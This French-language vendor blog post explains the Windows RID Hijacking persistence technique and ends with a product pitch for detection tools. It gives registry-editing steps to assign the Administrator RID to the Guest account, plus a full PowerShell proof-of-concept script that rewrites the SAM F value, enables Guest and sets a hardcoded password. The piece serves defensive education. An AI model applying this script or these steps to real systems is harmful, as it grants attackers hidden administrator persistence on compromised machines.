logo

Le RID Hijacking : comment attribuer des droits d’administrateur à un compte invité

Le « RID Hijacking » est une technique de persistance. Elle est utilisée par un adversaire qui a déjà compromis un ordinateur Windows. Pour faire simple, les attaquants exploitent le RID (identificateur relatif) d’un compte d’administrateur local pour octroyer des privilèges d’administrateur à un compte d’invité (ou tout autre compte local). Ils peuvent ainsi effectuer des opérations à l’aide du compte d’invité, généralement moins surveillé que les comptes d’administrateur, et amplifier leurs attaques tout en restant indétectables.

Sélection de contenu connexe :

Comment fonctionne cette attaque

Pour mener une attaque RID Hijacking, un adversaire doit d’abord compromettre un ordinateur et obtenir des privilèges administratifs ou système : il en a besoin pour changer la valeur du RID d’un compte d’invité et l’attribuer au compte d’administrateur. Ces valeurs sont les suivantes :

  • Administrateur : 0x1F4 au format hexadécimal (500, si vous utilisez une valeur décimale)
  • Invité : 0x1F5 au format hexadécimal (501, si vous utilisez une valeur décimale)

 

Étape 1. Dans l’éditeur de registre, sous la clé SAM, cherchez la sous-clé Utilisateurs. Cliquez ensuite sur 000001F5 pour afficher les détails du compte d’invité :

Étape 2. La valeur F contient le RID du compte. Pour la modifier, faites un clic droit et sélectionnez Modifier dans le menu. La boîte de dialogue « Modification de la chaîne » s’affiche :

Étape 3. La valeur 0x1F5 se trouve sur l’offset 30, qui correspond au RID du compte d’invité. Il suffit de définir cette valeur sur 0x1F4, autrement dit le RID du compte d’administrateur.

Exécutez la commande whoami à partir du compte d’administrateur pour confirmer que le compte d’invité dispose maintenant du RID d’administrateur, qui correspond à la dernière partie du SID dans la capture d’écran ci-dessous (valeur décimale de 500) :

Script de preuve de concept

Voici un script que vous pouvez exécuter pour valider le principe de cette vulnérabilité (disponible également sur GitHub) :

<#
	Date 10/24/2018
	Author: Kevin Joyce
	Description: RID Hijacking - runs PowerShell as SYSTEM and modifies a registry value associated with the Guest account. Sets the RID to 500 (Administrator), enables and sets the password for the Guest account. The objective of this script is to be a proof of concept for a RID Hijacking persistence technique. This technique allows an attacker to use the Guest account with administrative privileges.
	
	USE WITH CAUTION. STEALTHBITS TECHNOLOGIES, INC. IS NOT RESPONSIBLE FOR ANY DAMAGES CAUSED BY ATTEMPTING TO USE THIS SCRIPT. IT IS POSSIBLE TO CORRUPT THE GUEST ACCOUNT IF SOMETHING GOES WRONG. IT IS SUGGESTED THAT THIS BE DONE ON A VIRTUAL MACHINE AFTER A SNAPSHOT HAS BEEN TAKEN.
	#>
	

	#set path of target key
	$key = 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5'
	

	#get content of target value
	$binaryValue = (Get-ItemProperty -Path $key -Name "F")."F" 
	

	#exports contents of current registry values, allows to roll back if corruption occurs
	reg export 'HKLM\SAM\SAM\Domains\Account\Users\000001F5' .\export.reg
	Write-Host 'Registry key exported.'
	

	#change guest RID at offset 0x30 to 244 (500) - default 245 - to set the RID back to 501 change $newValue below to 245
	$newValue = 244
	if ($binaryValue[48] -notin (244,245)){
	    throw 'Unknown value set at offset 0x30. Expected values: 244 or 245. Current value: ' + $binaryValue[48] +'.'
	    stop
	} else {
	    $binaryvalue[48] = $newValue
	    Write-Host 'Value at 0x30 set to '  $binaryValue[48]
	}
	

	

	#enable guest account at offset 0x38 to 20 - default 21 - to disable guest account change $newValue below to 21
	$newvalue = 20
	if ($binaryValue[56] -notin (20,21)){
	    throw 'Unknown value set at offset 0x38. Expected values: 20 or 21. Current value: ' + $binaryValue[56]+'.'
	    stop
	} else {
	    $binaryvalue[56] = $newvalue
	    Write-Host 'Value at 0x38 set to '  $binaryValue[56]
	}
	

	#iterate through every position from original value converting to hexadecimal and storing in new variable
	$hexValue = ''
	for ($i =0; $i -lt $binaryValue.length; $i++){ 
	    $hexValue += "{0:x2}" -f $binaryValue[$i]  
		}
	Write-Host 'You are about to change the RID and enable the Guest account. Press enter to continue.'
	pause
	 
	#set value of F to contents of variable
	reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F5" /v F /t REG_BINARY  /d $hexValue /f 
	Write-Host 'Guest account enabled and RID set to 500.'
	

	#set Guest password
	$password = '!Password123!'
	net user guest $password
	Write-Host 'Guest account password set to' $password
	Write-Host ""
	

	Write-Host "Open a command prompt as Guest to see the new RID and privileges associated with the Guest account. Pressing enter will continue the script and roll back all changes besides the password of the Guest account." 
	Write-Host ""
	Write-Host "To run a command promp as Guest, shift+right click cmd.exe and select Run as different user. When prompted enter .\Guest for the username and $password as the password. This will spawn a command prompt window. Once this pops up, enter 'whoami /all | more' to see information about the Guest account. Once complete, you can come back to this screen and press enter to continue."
	pause
	

	#imports exported contents of previous registry keys, rolls back all changes
	reg import .\export.reg
	Write-Host 'Registry key rolled back to original.'
	Write-Host 'Proof of concept complete.'
	pause

Comment Netwrix peut vous aider

Netwrix propose deux solutions qui peuvent vous aider à vous défendre d’une attaque RID Hijacking :

  • La solution de gestion des accès privilégiés offerte par Netwrix vous permet de détecter toute activité suspecte en matière de comptes privilégiés, notamment les tentatives de modification des comptes d’utilisateur, comme c’est le cas avec la technique RID Hijacking. Elle vous donne également les moyens de mettre en place des stratégies de mot de passe fortes pour éviter au préalable tout accès non autorisé à vos comptes privilégiés, et pour restreindre leur utilisation aux seules tâches pour lesquelles des privilèges élevés sont nécessaires.
  • Netwrix Change Tracker examine les modifications apportées à votre configuration de sécurité, notamment les changements effectués aux valeurs RID des comptes Active Directory.